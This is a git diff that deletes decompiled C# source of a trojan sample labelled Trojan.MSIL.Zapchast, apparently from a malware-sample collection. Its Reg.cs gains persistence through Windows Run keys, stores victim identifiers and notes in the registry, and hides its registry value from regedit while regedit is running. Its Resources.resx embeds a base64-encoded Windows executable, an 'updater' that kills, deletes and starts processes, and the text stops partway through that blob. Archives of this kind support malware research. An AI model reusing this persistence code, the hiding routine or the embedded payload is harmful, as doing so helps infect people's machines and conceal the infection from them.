[EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettings.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettings.cs deleted file mode 100644 index f4bb95cd..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettings.cs +++ /dev/null @@ -1,23 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.MySettings -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Configuration; -using System.Runtime.CompilerServices; - -namespace zub.My -{ - [CompilerGenerated] - [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal sealed class MySettings : ApplicationSettingsBase - { - private static MySettings defaultInstance = (MySettings) SettingsBase.Synchronized((SettingsBase) new MySettings()); - - public static MySettings Default => MySettings.defaultInstance; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettingsProperty.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettingsProperty.cs deleted file mode 100644 index f236b51b..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/MySettingsProperty.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.MySettingsProperty -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; - -namespace zub.My -{ - [CompilerGenerated] - [DebuggerNonUserCode] - [StandardModule] - [HideModuleName] - internal sealed class MySettingsProperty - { - [HelpKeyword("My.Settings")] - internal static MySettings Settings => MySettings.Default; - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/Resources/Resources.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/Resources/Resources.cs deleted file mode 100644 index 8781660a..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/My/Resources/Resources.cs +++ /dev/null @@ -1,50 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.My.Resources.Resources -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; -using System.Globalization; -using System.Resources; -using System.Runtime.CompilerServices; - -namespace zub.My.Resources -{ - [StandardModule] - [GeneratedCode("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] - [HideModuleName] - [CompilerGenerated] - [DebuggerNonUserCode] - internal sealed class Resources - { - private static ResourceManager resourceMan; - private static CultureInfo resourceCulture; - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static ResourceManager ResourceManager - { - get - { - if (object.ReferenceEquals((object) zub.My.Resources.Resources.resourceMan, (object) null)) - zub.My.Resources.Resources.resourceMan = new ResourceManager("zub.Resources", typeof (zub.My.Resources.Resources).Assembly); - return zub.My.Resources.Resources.resourceMan; - } - } - - [EditorBrowsable(EditorBrowsableState.Advanced)] - internal static CultureInfo Culture - { - get => zub.My.Resources.Resources.resourceCulture; - set => zub.My.Resources.Resources.resourceCulture = value; - } - - internal static string text => zub.My.Resources.Resources.ResourceManager.GetString(nameof (text), zub.My.Resources.Resources.resourceCulture); - - internal static byte[] updater => (byte[]) RuntimeHelpers.GetObjectValue(zub.My.Resources.Resources.ResourceManager.GetObject(nameof (updater), zub.My.Resources.Resources.resourceCulture)); - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Reg.cs b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Reg.cs deleted file mode 100644 index d76ae8cd..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Reg.cs +++ /dev/null @@ -1,277 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: zub.Reg -// Assembly: zub, Version=1.0.1.5, Culture=neutral, PublicKeyToken=null -// MVID: 48A5438B-11FD-4EEE-88C7-AA931AE92F31 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695.exe - -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using zub.My; - -namespace zub -{ - public class Reg - { - private Log log; - private RegistryKey oRegKey; - private RegistryKey checkkey32; - private RegistryKey checkkey64; - private RegistryKey VictemValue; - - public Reg() => this.log = new Log(); - - public void setRUNkey(bool Admin) - { - try - { - if (Admin) - { - this.oRegKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - this.checkkey32 = Registry.LocalMachine.OpenSubKey("SOFTWARE", true); - this.checkkey64 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wow6432Node", true); - } - else - { - this.oRegKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true); - this.checkkey32 = Registry.CurrentUser.OpenSubKey("SOFTWARE", true); - this.checkkey64 = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Wow6432Node", true); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim set runKey!"); - ProjectData.ClearProjectError(); - } - } - - public bool checkReg64() - { - try - { - if (this.checkkey64 == null) - { - this.VictemValue = !MyProject.Forms.Form1.Usertyp ? Registry.CurrentUser.OpenSubKey("SOFTWARE\\WindowsSoftware", true) : Registry.LocalMachine.OpenSubKey("SOFTWARE\\WindowsSoftware", true); - return false; - } - this.VictemValue = !MyProject.Forms.Form1.Usertyp ? Registry.CurrentUser.OpenSubKey("SOFTWARE\\Wow6432Node\\WindowsSoftware", true) : Registry.LocalMachine.OpenSubKey("SOFTWARE\\Wow6432Node\\WindowsSoftware", true); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim checkx64"); - ProjectData.ClearProjectError(); - } - return true; - } - - public void writeRunKey(string Keyname, string Value) - { - try - { - this.oRegKey.SetValue(Keyname, (object) Value); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim write runKey!"); - ProjectData.ClearProjectError(); - } - } - - public bool ReadKey() - { - bool flag; - try - { - MyProject.Forms.Form1.VictimID = Conversions.ToString(this.VictemValue.GetValue("Amateri-User", (object) ("Vic-" + Conversions.ToString(DateTime.Now)))); - MyProject.Forms.Form1.Notiz = Conversions.ToString(this.VictemValue.GetValue("Victem-Notiz", (object) "Nicht mit Autoinfact infiziert")); - MyProject.Forms.Form1.AmaProfil = Conversions.ToString(this.VictemValue.GetValue("Amateri-Profil", (object) "Unbekannt")); - MyProject.Forms.Form1.AmaNachricht = Conversions.ToString(this.VictemValue.GetValue("Amateri-Nachricht", (object) "Unbekannt")); - MyProject.Forms.Form1.AmaGeschlecht = Conversions.ToString(this.VictemValue.GetValue("Amateri-Geschlecht", (object) "Unbekannt")); - MyProject.Forms.Form1.flagmeColor = Conversions.ToString(this.VictemValue.GetValue("flagme", (object) "0")); - MyProject.Forms.Form1.firstrun = Conversions.ToString(this.VictemValue.GetValue("firstrun", (object) DateTime.Now)); - MyProject.Forms.Form1.Usertyp = Conversions.ToBoolean(this.VictemValue.GetValue("isadmin", (object) MyProject.Forms.Form1.IsAdmin())); - flag = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim lesen der Parameter"); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public bool writeVitemValue(string name, string wert) - { - bool flag; - try - { - this.VictemValue.SetValue(name, (object) wert); - flag = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim schreibenRoot der Parameter"); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public bool WriteKey() - { - try - { - if (this.checkkey64 == null) - this.checkkey32.CreateSubKey("WindowsSoftware"); - else - this.checkkey64.CreateSubKey("WindowsSoftware"); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim schreibenRoot des Rootfolders"); - ProjectData.ClearProjectError(); - } - bool flag; - try - { - if (this.VictemValue.GetValue("Victem-Notiz", (object) "0") == null) - this.VictemValue.SetValue("Victem-Notiz", (object) MyProject.Forms.Form1.Notiz.ToString()); - if (this.VictemValue.GetValue("Amateri-User", (object) "0") == null) - this.VictemValue.SetValue("Amateri-User", (object) MyProject.Forms.Form1.VictimID.ToString()); - if (this.VictemValue.GetValue("Amateri-Profil", (object) "0") == null) - this.VictemValue.SetValue("Amateri-Profil", (object) MyProject.Forms.Form1.AmaProfil.ToString()); - if (this.VictemValue.GetValue("Amateri-Nachricht", (object) "0") == null) - this.VictemValue.SetValue("Amateri-Nachricht", (object) MyProject.Forms.Form1.AmaNachricht.ToString()); - if (this.VictemValue.GetValue("Amateri-Geschlecht", (object) "0") == null) - this.VictemValue.SetValue("Amateri-Geschlecht", (object) MyProject.Forms.Form1.AmaGeschlecht.ToString()); - if (Operators.ConditionalCompareObjectEqual(this.VictemValue.GetValue("flagme", (object) "0"), (object) null, false)) - this.VictemValue.SetValue("flagme", (object) MyProject.Forms.Form1.flagmeColor); - if (Operators.ConditionalCompareObjectEqual(this.VictemValue.GetValue("firstrun", (object) "0"), (object) null, false)) - this.VictemValue.SetValue("firstrun", (object) MyProject.Computer.Clock.GmtTime); - if (Operators.ConditionalCompareObjectEqual(this.VictemValue.GetValue("isadmin", (object) "0"), (object) null, false)) - this.VictemValue.SetValue("isadmin", (object) MyProject.Forms.Form1.Usertyp); - flag = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - Exception exception = ex; - this.log.writeLog(MyProject.Forms.Form1.Logpfad, "log.dat", Conversions.ToString(MyProject.Computer.Clock.GmtTime) + " | " + exception.Message + " | => Fehler beim schreiben der Parameter"); - flag = false; - ProjectData.ClearProjectError(); - } - return flag; - } - - public static void HideValueFromRegistry( - Reg.HKEY HKEY, - string SubKey, - string Name, - string KeyValue) - { - try - { - List stringList = new List(); - Process[] processes = Process.GetProcesses(); - int index = 0; - while (index < processes.Length) - { - Process process = processes[index]; - stringList.Add(process.ProcessName); - checked { ++index; } - } - if (stringList.Contains("regedit")) - { - switch (HKEY) - { - case Reg.HKEY.ClassesRoot: - if (Registry.ClassesRoot.OpenSubKey(SubKey).GetValue(Name) == null) - break; - MyProject.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, true).DeleteValue(Name); - break; - case Reg.HKEY.CurrentUser: - if (Registry.CurrentUser.OpenSubKey(SubKey).GetValue(Name) == null) - break; - MyProject.Computer.Registry.CurrentUser.OpenSubKey(SubKey, true).DeleteValue(Name); - break; - case Reg.HKEY.LocalMachine: - if (Registry.LocalMachine.OpenSubKey(SubKey).GetValue(Name) == null) - break; - MyProject.Computer.Registry.LocalMachine.OpenSubKey(SubKey, true).DeleteValue(Name); - break; - case Reg.HKEY.Users: - if (Registry.Users.OpenSubKey(SubKey).GetValue(Name) == null) - break; - MyProject.Computer.Registry.Users.OpenSubKey(SubKey, true).DeleteValue(Name); - break; - case Reg.HKEY.CurrentConfig: - if (Registry.CurrentConfig.OpenSubKey(SubKey).GetValue(Name) == null) - break; - MyProject.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, true).DeleteValue(Name); - break; - } - } - else - { - switch (HKEY) - { - case Reg.HKEY.ClassesRoot: - if (Registry.ClassesRoot.OpenSubKey(SubKey).GetValue(Name) != null) - break; - MyProject.Computer.Registry.ClassesRoot.OpenSubKey(SubKey, true).SetValue(Name, (object) KeyValue); - break; - case Reg.HKEY.CurrentUser: - if (Registry.CurrentUser.OpenSubKey(SubKey).GetValue(Name) != null) - break; - MyProject.Computer.Registry.CurrentUser.OpenSubKey(SubKey, true).SetValue(Name, (object) KeyValue); - break; - case Reg.HKEY.LocalMachine: - if (Registry.LocalMachine.OpenSubKey(SubKey).GetValue(Name) != null) - break; - MyProject.Computer.Registry.LocalMachine.OpenSubKey(SubKey, true).SetValue(Name, (object) KeyValue); - break; - case Reg.HKEY.Users: - if (Registry.Users.OpenSubKey(SubKey).GetValue(Name) != null) - break; - MyProject.Computer.Registry.Users.OpenSubKey(SubKey, true).SetValue(Name, (object) KeyValue); - break; - case Reg.HKEY.CurrentConfig: - if (Registry.CurrentConfig.OpenSubKey(SubKey).GetValue(Name) != null) - break; - MyProject.Computer.Registry.CurrentConfig.OpenSubKey(SubKey, true).SetValue(Name, (object) KeyValue); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public enum HKEY - { - ClassesRoot, - CurrentUser, - LocalMachine, - Users, - CurrentConfig, - } - } -} diff --git a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Resources.resx b/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Resources.resx deleted file mode 100644 index c06542cc..00000000 --- a/MSIL/Trojan/MSIL/Z/Trojan.MSIL.Zapchast.aaxrn-15afce431f9064b1d75b7e7f83f2d7ad5b9e68621f44a39c75ffd88172493695/Resources.resx +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0K - JAAAAAAAAABQRQAATAEEAHIlL00AAAAAAAAAAOAAAgELAQgAABIAAAAOAAAAAAAAfjAAAAAgAAAAQAAA - AABAAAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACgAAAABAAAAAAAAAIAQIUAABAAABAAAAAAEAAAEAAA - AAAAABAAAAAAAAAAAAAAADAwAABLAAAAAGAAANAJAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAwAAAAAQAAA - HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAA - CCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAhBAAAAAgAAAAEgAAAAQAAAAAAAAAAAAAAAAAACAAAGAuc2Rh - dGEAAJUAAAAAQAAAAAIAAAAWAAAAAAAAAAAAAAAAAABAAADALnJzcmMAAADQCQAAAGAAAAAKAAAAGAAA - AAAAAAAAAAAAAAAAQAAAQC5yZWxvYwAADAAAAACAAAAAAgAAACIAAAAAAAAAAAAAAAAAAEAAAEIAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA - 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 - kCEAAAAAEQBhABsAAQCUIgAAAACWALcAEwACAKQiAAAAAEQCvAAoAAIA9CIAAAAAAQD6ABcAAwCIIwAA - AAABAEQBNAADAAAAAQBwAAAAAQDEAAAAAQBPAQAAAgBWAQwAWwAXAAkAWwAXADEAWwBCAAkAZQFIADkA - egFOAEEAkQFSAEkAsgFYAFkA2QEbAAwA3wFeAAwA6QFeAAwA9gFiABkA/wFoAAwACwJsAAwAFAJzAAwA - IAJ5AGEAXAJ+ABkAWwCDAAwAawKIAFkAbwIbADkAdAKfAGkAvAAXAAkAvAAoAIEApgIXAHEAWwCpAIkA - xQKvAIkA6wK1AHkAWwBzAAkA/QK7AAkAHAPBAIEAMAPHAAkAOQPMAAkARQMoAAkAUgMoAAkAZAPHAIEA - bQMoALkAuQPcADkAvwMTAKEAyAPhAKEA2wMXAMEA5QPoAMEA7APtAKkAWwDHAKkA8wPHAKEAWwAXAKEA - +gPyAMkAMwT4AMkAQwQTAAkAVQQXANEAWwAXANkAWwAXAOEAWwAXAOkAWwAXAPEAWwAUAQEBWwB5AAkB - WwAXACAAkwEPAS4AswEjAS4AqwEaAS4AuwEsAUMAiwEPAWAAkwEPAYAAowEPAaAAkwEPAcAAmwEPAY4A - pQDRAP4AOwAEgAAAAAAAAAAAAAAAAAAAAAAyAAAAAgAAAAAAAAAAAAAAAQAKAAAAAAAIAAAAAAAAAAAA - AAAKABMAAAAAAAIAAAAAAAAAAAAAAAEAOgAAAAAAAgAAAAAAAAAAAAAAAQCYAAAAAAACAAAAAAAAAAAA - AAAKAIQCAAAAAAAAAAABAAAAwwQAAAAAADxNb2R1bGU+AG1zY29ybGliAE1pY3Jvc29mdC5WaXN1YWxC - YXNpYwB1cGRhdGVyeAB1cGRhdGVyAFN5c3RlbS5XaW5kb3dzLkZvcm1zAEZvcm0ALmNjdG9yAC5jdG9y - AF9fRU5DQWRkVG9MaXN0AHZhbHVlAFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAExpc3RgMQBTeXN0 - ZW0AV2Vha1JlZmVyZW5jZQBfX0VOQ0xpc3QATWFpbgBEaXNwb3NlAGRpc3Bvc2luZwBTeXN0ZW0uQ29t - cG9uZW50TW9kZWwASUNvbnRhaW5lcgBjb21wb25lbnRzAEluaXRpYWxpemVDb21wb25lbnQAU2VydmVy - X2V4ZQB1cGRhdGVfZXhlAG1TZXJ2ZXJfZXhlAFByb3plc3NJRABFdmVudEFyZ3MARm9ybTFfTG9hZABz - ZW5kZXIAZQBFdmVudEhhbmRsZXIAYWRkX0xvYWQAQXBwbGljYXRpb24AZ2V0X1N0YXJ0dXBQYXRoAFN0 - cmluZwBDb25jYXQARW52aXJvbm1lbnQAU3BlY2lhbEZvbGRlcgBHZXRGb2xkZXJQYXRoAFN5c3RlbS5U - aHJlYWRpbmcATW9uaXRvcgBFbnRlcgBnZXRfQ291bnQAZ2V0X0NhcGFjaXR5AGdldF9JdGVtAGdldF9J - c0FsaXZlAHNldF9JdGVtAFJlbW92ZVJhbmdlAHNldF9DYXBhY2l0eQBTeXN0ZW0uUnVudGltZS5Db21w - aWxlclNlcnZpY2VzAFJ1bnRpbWVIZWxwZXJzAEdldE9iamVjdFZhbHVlAEFkZABFeGl0AFJ1bgBJRGlz - cG9zYWJsZQBTeXN0ZW0uRHJhd2luZwBTaXplRgBTaXplAENvbnRyb2wAU3VzcGVuZExheW91dABDb250 - YWluZXJDb250cm9sAHNldF9BdXRvU2NhbGVEaW1lbnNpb25zAEF1dG9TY2FsZU1vZGUAc2V0X0F1dG9T - Y2FsZU1vZGUAc2V0X0NsaWVudFNpemUARm9ybUJvcmRlclN0eWxlAHNldF9Gb3JtQm9yZGVyU3R5bGUA - c2V0X05hbWUAc2V0X09wYWNpdHkAc2V0X1Nob3dJY29uAHNldF9TaG93SW5UYXNrYmFyAHNldF9UZXh0 - AFJlc3VtZUxheW91dABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2VzcwBTeXN0ZW0uSU8ARmlsZUluZm8A - RXhjZXB0aW9uAFRocmVhZABTbGVlcABEb0V2ZW50cwBHZXRQcm9jZXNzZXNCeU5hbWUAS2lsbABGaWxl - AEV4aXN0cwBEZWxldGUATW92ZVRvAFN0YXJ0AE1pY3Jvc29mdC5WaXN1YWxCYXNpYy5Db21waWxlclNl - cnZpY2VzAFByb2plY3REYXRhAFNldFByb2plY3RFcnJvcgBDbGVhclByb2plY3RFcnJvcgBDbG9zZQBE - ZXNpZ25lckdlbmVyYXRlZEF0dHJpYnV0ZQBEZWJ1Z2dlck5vblVzZXJDb2RlQXR0cmlidXRlAERlYnVn - Z2VyU3RlcFRocm91Z2hBdHRyaWJ1dGUAU1RBVGhyZWFkQXR0cmlidXRlAHVwZGF0ZXIudXBkYXRlcngu - cmVzb3VyY2VzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAQ29tcGlsYXRpb25SZWxh - 